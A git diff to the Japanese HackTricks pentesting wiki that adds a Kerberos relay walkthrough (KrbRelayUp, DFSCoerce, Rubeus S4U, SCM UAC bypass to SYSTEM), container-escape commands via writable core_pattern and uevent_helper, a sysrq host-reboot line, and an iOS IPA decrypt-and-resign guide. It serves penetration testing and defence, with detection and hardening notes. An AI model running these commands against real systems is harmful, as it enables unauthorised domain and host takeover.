diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0fee1721f..911b4b8bc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -316,6 +316,7 @@ - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md) - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) + - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md) - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md) - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) @@ -342,6 +343,7 @@ - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md) - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md) + - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md) - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md) - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index c1dd4dd66..4b579bb6b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,4 +1,4 @@ -# LLMNR、NBT-NS、mDNS/DNS、WPADのスプーフィングとリレー攻撃 +# LLMNR、NBT-NS、mDNS/DNS、WPADおよびリレー攻撃のスプーフィング {{#include ../../banners/hacktricks-training.md}} @@ -6,40 +6,40 @@ ### ローカルホスト解決プロトコル -- **LLMNR、NBT-NS、mDNS**: -- Microsoftや他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRとNBT-NSを使用します。同様に、AppleやLinuxシステムはmDNSを使用します。 -- これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受やスプーフィングに対して脆弱です。 +- **LLMNR、NBT-NS、およびmDNS**: +- Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。 +- これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受およびスプーフィングに対して脆弱です。 - [Responder](https://github.com/lgandx/Responder)は、これらのプロトコルを照会するホストに対して偽の応答を送信することでサービスを偽装するために使用できます。 -- Responderを使用したサービスの偽装に関するさらなる情報は[こちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)で見つけることができます。 +- Responderを使用したサービスの偽装に関する詳細情報は[こちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)で確認できます。 ### ウェブプロキシ自動検出プロトコル (WPAD) - WPADは、ブラウザがプロキシ設定を自動的に発見することを可能にします。 -- 発見はDHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRとNBT-NSにフォールバックします。 +- 発見は、DHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。 - ResponderはWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバーに誘導します。 ### プロトコルポイズニングのためのResponder -- **Responder**は、LLMNR、NBT-NS、mDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。 +- **Responder**は、LLMNR、NBT-NS、およびmDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。 - Kali Linuxにプリインストールされており、`/etc/responder/Responder.conf`で設定可能です。 -- Responderはキャプチャしたハッシュを画面に表示し、`/usr/share/responder/logs`ディレクトリに保存します。 -- IPv4とIPv6の両方をサポートしています。 -- ResponderのWindows版は[こちら](https://github.com/lgandx/Responder-Windows)で入手できます。 +- Responderは、キャプチャしたハッシュを画面に表示し、`/usr/share/responder/logs`ディレクトリに保存します。 +- IPv4およびIPv6の両方をサポートしています。 +- Windows版のResponderは[こちら](https://github.com/lgandx/Responder-Windows)で入手できます。 #### Responderの実行 - デフォルト設定でResponderを実行するには: `responder -I ` - より攻撃的なプロービングを行うには(潜在的な副作用あり): `responder -I -P -r -v` -- NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にする技術: `responder -I --lm --disable-ess` +- NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にするための技術: `responder -I --lm --disable-ess` - WPADの偽装を有効にするには: `responder -I --wpad` - NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定するには: `responder.py -I -Pv` ### Responderを使用したDHCPポイズニング -- DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングよりもステルス性の高い代替手段を提供します。 +- DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングに対するよりステルスな代替手段を提供します。 - これは、ターゲットネットワークの構成に関する正確な知識を必要とします。 - 攻撃を実行するには: `./Responder.py -I eth0 -Pdv` -- この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの混乱を避けるために慎重な取り扱いが必要です。 +- この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの中断を避けるために慎重な取り扱いが必要です。 ### Responderを使用した資格情報のキャプチャ @@ -50,13 +50,13 @@ ## Inveigh -Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム用のツールです。Responderと同様の機能を提供し、スプーフィングや中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)と[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)が主要なバージョンです。詳細なパラメータと指示は[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)で見つけることができます。 +Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム用のツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)および[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)が主要なバージョンです。詳細なパラメータと指示は[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)で確認できます。 InveighはPowerShellを通じて操作できます: ```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` -C# バイナリとして実行されます: +C# バイナリとして実行されるか: ```bash Inveigh.exe ``` @@ -69,7 +69,7 @@ Inveigh.exe #### 445ポートの転送とトンネリング -直接的なネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送し、トンネリングする必要があります。[**PortBender**](https://github.com/praetorian-inc/PortBender)のようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ち、ローカル管理者アクセスがある場合にドライバのロードに不可欠です。 +直接的なネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送し、トンネリングする必要があります。[**PortBender**](https://github.com/praetorian-inc/PortBender)のようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ち、ローカル管理者アクセスがドライバのロードに利用可能な場合に重要です。 PortBenderのセットアップとCobalt Strikeでの操作: ```bash @@ -93,7 +93,7 @@ beacon> socks stop - **smbrelayx**: SMBセッションをリレーし、コマンドを実行したりバックドアを展開するためのPythonスクリプトです。 - **MultiRelay**: 特定のユーザーまたはすべてのユーザーをリレーし、コマンドを実行したりハッシュをダンプするためのResponderスイートのツールです。 -各ツールは、必要に応じてSOCKSプロキシを介して操作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。 +各ツールは、必要に応じてSOCKSプロキシを介して動作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。 ### MultiRelayの操作 @@ -109,12 +109,115 @@ python MultiRelay.py -t -u ALL -d # Dump hashes ### NTLMログインの強制 -Windowsでは、**特権アカウントの一部を任意のマシンに認証させることができる場合があります**。方法を学ぶには、以下のページをお読みください: +Windowsでは、**特権アカウントが任意のマシンに認証するよう強制できる場合があります**。方法を学ぶには、以下のページを参照してください: {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} +## Kerberosリレー攻撃 + +**Kerberosリレー攻撃**は、あるサービスから**AP-REQチケット**を盗み、**同じコンピュータアカウントキー**を共有する別のサービスに再利用します(両方のSPNが同じ`$`マシンアカウントに存在するため)。これは、SPNの**サービスクラスが異なっていても**機能します(例:`CIFS/` → `LDAP/`)。なぜなら、チケットを復号化するための*キー*はマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列は署名の一部ではないからです。 + +NTLMリレーとは異なり、ホップは*同じホスト*に制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、**リソースベースの制約付き委任(RBCD)**や**AD CS登録**にチェーン接続し、**NT AUTHORITY\SYSTEM**を一度で取得できます。 + +この攻撃に関する詳細情報は以下を確認してください: + +- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) +- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) + +- 1. **Kerberosの基本** + +| トークン | 目的 | リレーの関連性 | +|-------|---------|-----------------| +| **TGT / AS-REQ ↔ REP** | KDCに対するユーザーの証明 | 影響なし | +| **サービスチケット / TGS-REQ ↔ REP** | 一つの**SPN**にバウンド; SPN所有者のキーで暗号化 | アカウントを共有するSPNの場合は相互交換可能 | +| **AP-REQ** | クライアントがサービスに`TGS`を送信 | **私たちが盗むもの & 再生するもの** | + +* チケットは**SPNを所有するアカウントのパスワード由来のキー**で暗号化されています。 +* AP-REQ内の**Authenticator**には5分のタイムスタンプがあり、そのウィンドウ内での再生はサービスキャッシュが重複を検出するまで有効です。 +* Windowsは、チケット内のSPN文字列がヒットしたサービスと一致するかどうかをほとんど確認しないため、`CIFS/HOST`のチケットは通常`LDAP/HOST`で正常に復号化されます。 + +- 2. **Kerberosをリレーするために必要な条件** + +1. **共有キー:** ソースとターゲットのSPNが同じコンピュータアカウントに属している(Windowsサーバーではデフォルト)。 +2. **チャネル保護なし:** SMB/LDAP署名オフ、HTTP/LDAPSのEPAオフ。 +3. **認証を傍受または強制できる:** LLMNR/NBNSポイズン、DNSスプーフ、**PetitPotam / DFSCoerce RPC**、偽のAuthIP、悪意のあるDCOMなど。 +4. **チケットソースがすでに使用されていない:** 実際のパケットが到達する前にレースに勝つか、完全にブロックする必要があります。そうでない場合、サーバーの再生キャッシュがイベント4649を発火します。 +5. 何らかの方法で**通信のMitMを実行できる必要があります**。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。 + +### Kerberosリレー手順 + +- 3.1 **ホストの偵察** +```powershell +# find servers where HTTP, LDAP or CIFS share the same machine account +Get-ADComputer -Filter * -Properties servicePrincipalName | +Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | +Select Name,servicePrincipalName +``` +- 3.2 **リレーリスナーを開始する** + +[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) +```powershell +# one-click local SYSTEM via RBCD +.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 +``` +`KrbRelayUp`は**KrbRelay → LDAP → RBCD → Rubeus → SCMバイパス**を1つのバイナリにまとめています。 + +- 3.3 **Kerberos認証を強制する** +```powershell +# coerce DC to auth over SMB with DFSCoerce +.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 +``` +DFSCoerceはDCにKerberos `CIFS/DC01`チケットを送信させます。 + +- 3.4 **AP-REQを中継する** + +KrbRelayはSMBからGSSブロブを抽出し、それをLDAPバインドに再パッケージ化して`ldap://DC01`に転送します—**同じキー**がそれを復号化するため、認証は成功します。 + +- 3.5 **LDAPを悪用する ➜ RBCD ➜ SYSTEM** +```powershell +# (auto inside KrbRelayUp) manual for clarity +New-MachineAccount -Name "FAKE01" -Password "P@ss123" +KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID +Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt +SCMUACBypass.exe +``` +あなたは現在 **NT AUTHORITY\SYSTEM** を所有しています。 + +### **知っておくべきその他のパス** + +| ベクター | トリック | 重要性 | +|--------|-------|----------------| +| **AuthIP / IPSec** | 偽のサーバーが任意のSPNを持つ**GSS-IDペイロード**を送信; クライアントはあなたに直接AP-REQを構築 | サブネットを越えても機能; デフォルトでマシンクレデンシャル | +| **DCOM / MSRPC** | 悪意のあるOXIDリゾルバーがクライアントに任意のSPNとポートに認証させる | 純粋な*ローカル*特権昇格; ファイアウォールを回避 | +| **AD CS Web Enroll** | `HTTP/CA`にマシンチケットをリレーし、証明書を取得、その後**PKINIT**でTGTを生成 | LDAP署名防御を回避 | +| **Shadow Credentials** | `msDS-KeyCredentialLink`を書き込み、偽造された鍵ペアでPKINIT | コンピュータアカウントを追加する必要なし | + +### **トラブルシューティング** + +| エラー | 意味 | 修正 | +|-------|---------|-----| +| `KRB_AP_ERR_MODIFIED` | チケットキー ≠ ターゲットキー | ホスト/SPNが間違っている | +| `KRB_AP_ERR_SKEW` | 時計が5分以上のオフセット | 時間を同期するか`w32tm`を使用 | +| LDAPバインド失敗 | 署名が強制されている | AD CSパスを使用するか署名を無効にする | +| イベント4649のスパム | サービスが重複した認証子を検出 | 元のパケットをブロックまたは競争 | + +### **検出** + +* 数秒以内に同じソースからの**イベント4769**の急増。 +* サービス上の**イベント4649**はリプレイが検出されたことを示す。 +* **127.0.0.1**からのKerberosログオン(ローカルSCMへのリレー)は非常に疑わしい—KrbRelayUpドキュメントのSigmaルールでマッピング。 +* `msDS-AllowedToActOnBehalfOfOtherIdentity`または`msDS-KeyCredentialLink`属性の変更を監視。 + +## **ハードニング** + +1. **すべてのサーバーでLDAPおよびSMB署名 + EPAを強制**。 +2. **SPNを分割**し、HTTPがCIFS/LDAPと同じアカウントにないようにする。 +3. 強制ベクターをパッチ(PetitPotam KB5005413、DFS、AuthIP)。 +4. **`ms-DS-MachineAccountQuota = 0`**を設定して不正なコンピュータの参加を防ぐ。 +5. **イベント4649**および予期しないループバックKerberosログオンにアラートを出す。 + ## 参考文献 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 27d2730ca..5ed86b13f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -`/proc`、`/sys`、および`/var`の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って構成されたり、無許可のユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、そのパスベースの性質によりAppArmorの保護を回避し、`/host/proc`が保護されなくなります。 +`/proc`、`/sys`、および`/var`の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って構成されたり、無許可のユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、そのパスベースの性質によりAppArmorの保護を回避し、`/host/proc`が無防備になります。 **各潜在的脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で確認できます。** @@ -10,25 +10,37 @@ ### `/proc/sys` -このディレクトリは、通常`sysctl(2)`を介してカーネル変数を変更するためのアクセスを許可し、いくつかの懸念されるサブディレクトリを含んでいます。 +このディレクトリは、通常`sysctl(2)`を介してカーネル変数を変更するためのアクセスを許可し、いくつかの懸念されるサブディレクトリを含んでいます: #### **`/proc/sys/kernel/core_pattern`** - [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。 -- コアファイル生成時に実行するプログラムを定義でき、最初の128バイトが引数として使用されます。ファイルがパイプ`|`で始まる場合、コード実行につながる可能性があります。 -- **テストと悪用の例**: +- このファイルに書き込むことができる場合、パイプ`|`の後にプログラムまたはスクリプトのパスを書き込むことが可能で、クラッシュが発生した後に実行されます。 +- 攻撃者は、`mount`を実行してホスト内のコンテナへのパスを見つけ、そのパスをコンテナのファイルシステム内のバイナリに書き込むことができます。その後、プログラムをクラッシュさせてカーネルがコンテナの外でバイナリを実行するようにします。 +- **テストと悪用の例**: ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 書き込みアクセスのテスト +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # カスタムハンドラを設定 -sleep 5 && ./crash & # ハンドラをトリガー +echo "|$overlay/shell.sh" > core_pattern # Set custom handler +sleep 5 && ./crash & # Trigger handler ``` +この投稿をチェックしてください [this post](https://pwning.systems/posts/escaping-containers-for-fun/) さらなる情報のために。 +クラッシュする例のプログラム: +```c +int main(void) { +char buf[1]; +for (int i = 0; i < 100; i++) { +buf[i] = 1; +} +return 0; +} +``` #### **`/proc/sys/kernel/modprobe`** -- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳述されています。 -- カーネルモジュールローダーへのパスが含まれ、カーネルモジュールをロードするために呼び出されます。 +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細が説明されています。 +- カーネルモジュールをロードするために呼び出されるカーネルモジュールローダーへのパスを含みます。 - **アクセス確認の例**: ```bash @@ -42,18 +54,18 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認 #### **`/proc/sys/fs`** -- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)によれば、ファイルシステムに関するオプションと情報が含まれています。 -- 書き込みアクセスにより、ホストに対するさまざまなサービス拒否攻撃を可能にします。 +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)に従い、ファイルシステムに関するオプションと情報を含みます。 +- 書き込みアクセスは、ホストに対するさまざまなサービス拒否攻撃を可能にします。 #### **`/proc/sys/fs/binfmt_misc`** -- マジックナンバーに基づいて非ネイティブバイナリ形式のインタープリタを登録できます。 +- マジックナンバーに基づいて非ネイティブバイナリフォーマットのインタープリターを登録できます。 - `/proc/sys/fs/binfmt_misc/register`が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。 - 関連するエクスプロイトと説明: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - 詳細なチュートリアル: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### Others in `/proc` +### その他の `/proc` #### **`/proc/config.gz`** @@ -62,8 +74,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認 #### **`/proc/sysrq-trigger`** -- Sysrqコマンドを呼び出すことができ、即座にシステムを再起動したり、他の重要なアクションを引き起こしたりする可能性があります。 -- **ホストを再起動する例**: +- Sysrqコマンドを呼び出すことができ、即座にシステム再起動やその他の重要なアクションを引き起こす可能性があります。 +- **ホスト再起動の例**: ```bash echo b > /proc/sysrq-trigger # ホストを再起動 @@ -79,20 +91,20 @@ echo b > /proc/sysrq-trigger # ホストを再起動 - カーネルがエクスポートしたシンボルとそのアドレスをリストします。 - KASLRを克服するためのカーネルエクスプロイト開発に不可欠です。 - アドレス情報は、`kptr_restrict`が`1`または`2`に設定されている場合に制限されます。 -- 詳細は[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で。 +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細。 #### **`/proc/[pid]/mem`** - カーネルメモリデバイス`/dev/mem`とインターフェースします。 - 歴史的に特権昇格攻撃に対して脆弱です。 -- 詳細は[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で。 +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細。 #### **`/proc/kcore`** - システムの物理メモリをELFコア形式で表します。 - 読み取りはホストシステムや他のコンテナのメモリ内容を漏洩させる可能性があります。 - 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。 -- 詳細な使用法は[Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)で。 +- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)で詳細な使用法。 #### **`/proc/kmem`** @@ -102,7 +114,7 @@ echo b > /proc/sysrq-trigger # ホストを再起動 #### **`/proc/mem`** - 物理メモリを表す`/dev/mem`の代替インターフェースです。 -- 読み取りと書き込みが可能で、すべてのメモリの変更には仮想アドレスを物理アドレスに解決する必要があります。 +- 読み取りと書き込みが可能で、すべてのメモリの変更には仮想アドレスから物理アドレスへの解決が必要です。 #### **`/proc/sched_debug`** @@ -114,13 +126,13 @@ echo b > /proc/sysrq-trigger # ホストを再起動 - プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。 - コンテナの`rootfs`またはイメージの場所を公開します。 -### `/sys` Vulnerabilities +### `/sys`の脆弱性 #### **`/sys/kernel/uevent_helper`** - カーネルデバイス`uevents`を処理するために使用されます。 - `/sys/kernel/uevent_helper`に書き込むことで、`uevent`トリガー時に任意のスクリプトを実行できます。 -- **悪用の例**: %%%bash +- **エクスプロイトの例**: %%%bash #### ペイロードを作成 @@ -152,22 +164,24 @@ cat /output %%% #### **`/sys/kernel/security`** -- `securityfs`インターフェースを持ち、AppArmorなどのLinuxセキュリティモジュールの構成を許可します。 -- アクセスにより、コンテナがそのMACシステムを無効にする可能性があります。 +- `securityfs`インターフェースを持ち、AppArmorなどのLinuxセキュリティモジュールの設定を許可します。 +- アクセスにより、コンテナがそのMACシステムを無効にすることができるかもしれません。 -#### **`/sys/firmware/efi/vars` および `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` と `/sys/firmware/efi/efivars`** - NVRAM内のEFI変数と対話するためのインターフェースを公開します。 -- 誤った構成や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になったりする可能性があります。 +- 誤設定や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になる可能性があります。 #### **`/sys/kernel/debug`** - `debugfs`はカーネルへの「ルールなし」のデバッグインターフェースを提供します。 -- 制限のない性質により、セキュリティ問題の歴史があります。 +- 制限のない性質のため、セキュリティ問題の歴史があります。 -### `/var` Vulnerabilities +### `/var`の脆弱性 -ホストの**/var**フォルダーには、コンテナランタイムソケットとコンテナのファイルシステムが含まれています。このフォルダーがコンテナ内にマウントされると、そのコンテナは他のコンテナのファイルシステムに対してルート権限で読み書きアクセスを得ます。これにより、コンテナ間のピボット、サービス拒否の引き起こし、または他のコンテナやそれらで実行されるアプリケーションへのバックドアを仕掛けることが悪用される可能性があります。 +ホストの**/var**フォルダーには、コンテナランタイムソケットとコンテナのファイルシステムが含まれています。 +このフォルダーがコンテナ内にマウントされている場合、そのコンテナは他のコンテナのファイルシステムに対してルート権限で読み書きアクセスを得ます。 +これを悪用してコンテナ間をピボットしたり、サービス拒否を引き起こしたり、他のコンテナやそれらで実行されるアプリケーションにバックドアを仕掛けることができます。 #### Kubernetes @@ -216,9 +230,9 @@ are/nginx/html/index2.html ``` XSSは次のように達成されました: -![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png) +![マウントされた /var フォルダーを介した保存された XSS](/images/stored-xss-via-mounted-var-folder.png) -コンテナは再起動やその他の操作を必要としないことに注意してください。マウントされた**/var**フォルダーを介して行われた変更は即座に適用されます。 +コンテナは再起動やその他の操作を必要としないことに注意してください。マウントされた **/var** フォルダーを介して行われた変更は即座に適用されます。 構成ファイル、バイナリ、サービス、アプリケーションファイル、およびシェルプロファイルを置き換えることで、自動(または半自動)RCEを達成することもできます。 diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md new file mode 100644 index 000000000..2673c5518 --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -0,0 +1,73 @@ +# iOS Pentesting without Jailbreak + +{{#include ../../banners/hacktricks-training.md}} + +## Main idea + +**entitlement `get_task_allow`** で署名されたアプリケーションは、初期アプリケーションのプロセスIDを引数として **`task_for_pid()`** という関数を実行することを許可し、その上でタスクポートを取得(制御し、メモリにアクセスできるようにする)します。 + +しかし、単にIPAを引き出し、権限で再署名し、デバイスに戻すだけでは簡単ではありません。これはFairPlay保護のためです。アプリの署名が変更されると、DRM(デジタル著作権管理)キーが **無効化され、アプリは動作しなくなります**。 + +古い脱獄デバイスを使用すれば、IPAをインストールし、**お気に入りのツールを使用して復号化**(Iridiumやfrida-ios-dumpなど)し、デバイスから引き出すことが可能です。ただし、可能であれば、クライアントに復号化されたIPAを依頼することをお勧めします。 + +## Obtain decrypted IPA + +### Get it from Apple + +1. ペンテストするアプリをiPhoneにインストールします。 +2. macOS内で[Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)をインストールして起動します。 +3. Macの`Terminal`を開き、`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`にcdします。後でこのフォルダにIPAが表示されます。 +4. iOSデバイスが表示されるはずです。ダブルクリックして、上部メニューバーからAdd + → Appsをクリックします。 +5. Addをクリックすると、ConfiguratorがAppleからIPAをダウンロードし、デバイスにプッシュしようとします。前に私の推奨に従ってIPAをすでにインストールしている場合、アプリを再インストールするように求めるプロンプトが表示されます。 +6. IPAは`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`内にダウンロードされ、そこから取得できます。 + +このプロセスに関する詳細情報は[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)を確認してください。 + +### Decrypting the app + +IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションが通常最新のバージョンのみをサポートするため、バージョンがサポートされない可能性があります。 + +したがって、インストールするには、IPAを解凍するだけです: +```bash +unzip redacted.ipa -d unzipped +``` +`Info.plist`を確認して、サポートされている最小バージョンを確認し、デバイスがそれより古い場合は、値を変更してサポートされるようにします。 + +IPAを再圧縮します: +```bash +cd unzipped +zip -r ../no-min-version.ipa * +``` +次に、例えば以下のコマンドでIPAをインストールします: +```bash +ideviceinstaller -i no-min-version.ipa -w +``` +注意してください、`invalid signature` エラーを防ぐために Cydia から **AppSync Unified tweak** が必要になる場合があります。 + +インストールが完了したら、Cydia から **Iridium tweak** を使用して復号化された IPA を取得できます。 + + +### エンタイトルメントのパッチと再署名 + +`get-task-allow` エンタイトルメントでアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` のようなツールがいくつか利用可能です。`app-signer` は非常にユーザーフレンドリーなインターフェースを持ち、再署名する IPA ファイルを指定し、**`get-taks-allow` を設定し**、使用する証明書とプロビジョニングプロファイルを指定することが非常に簡単です。 + +証明書と署名プロファイルに関しては、Apple は Xcode を通じてすべてのアカウントに **無料の開発者署名プロファイル** を提供しています。アプリを作成し、1つを設定してください。その後、`Settings` → `Privacy & Security` に移動し、`Developer Mode` をクリックして **iPhone に開発者アプリを信頼させる** ように設定します。 + + +再署名された IPA を使用して、デバイスにインストールしてペンテストを行う準備が整いました: +```bash +ideviceinstaller -i resigned.ipa -w +``` +### Hook + +あなたはfridaやobjectionのような一般的なツールを使用して、アプリを簡単にフックすることができます: +```bash +objection -g [your app bundle ID] explore + +``` +## 参考文献 + +- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index ac4e0702d..b27581f0a 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -4,10 +4,10 @@ ## Apple Developer Program 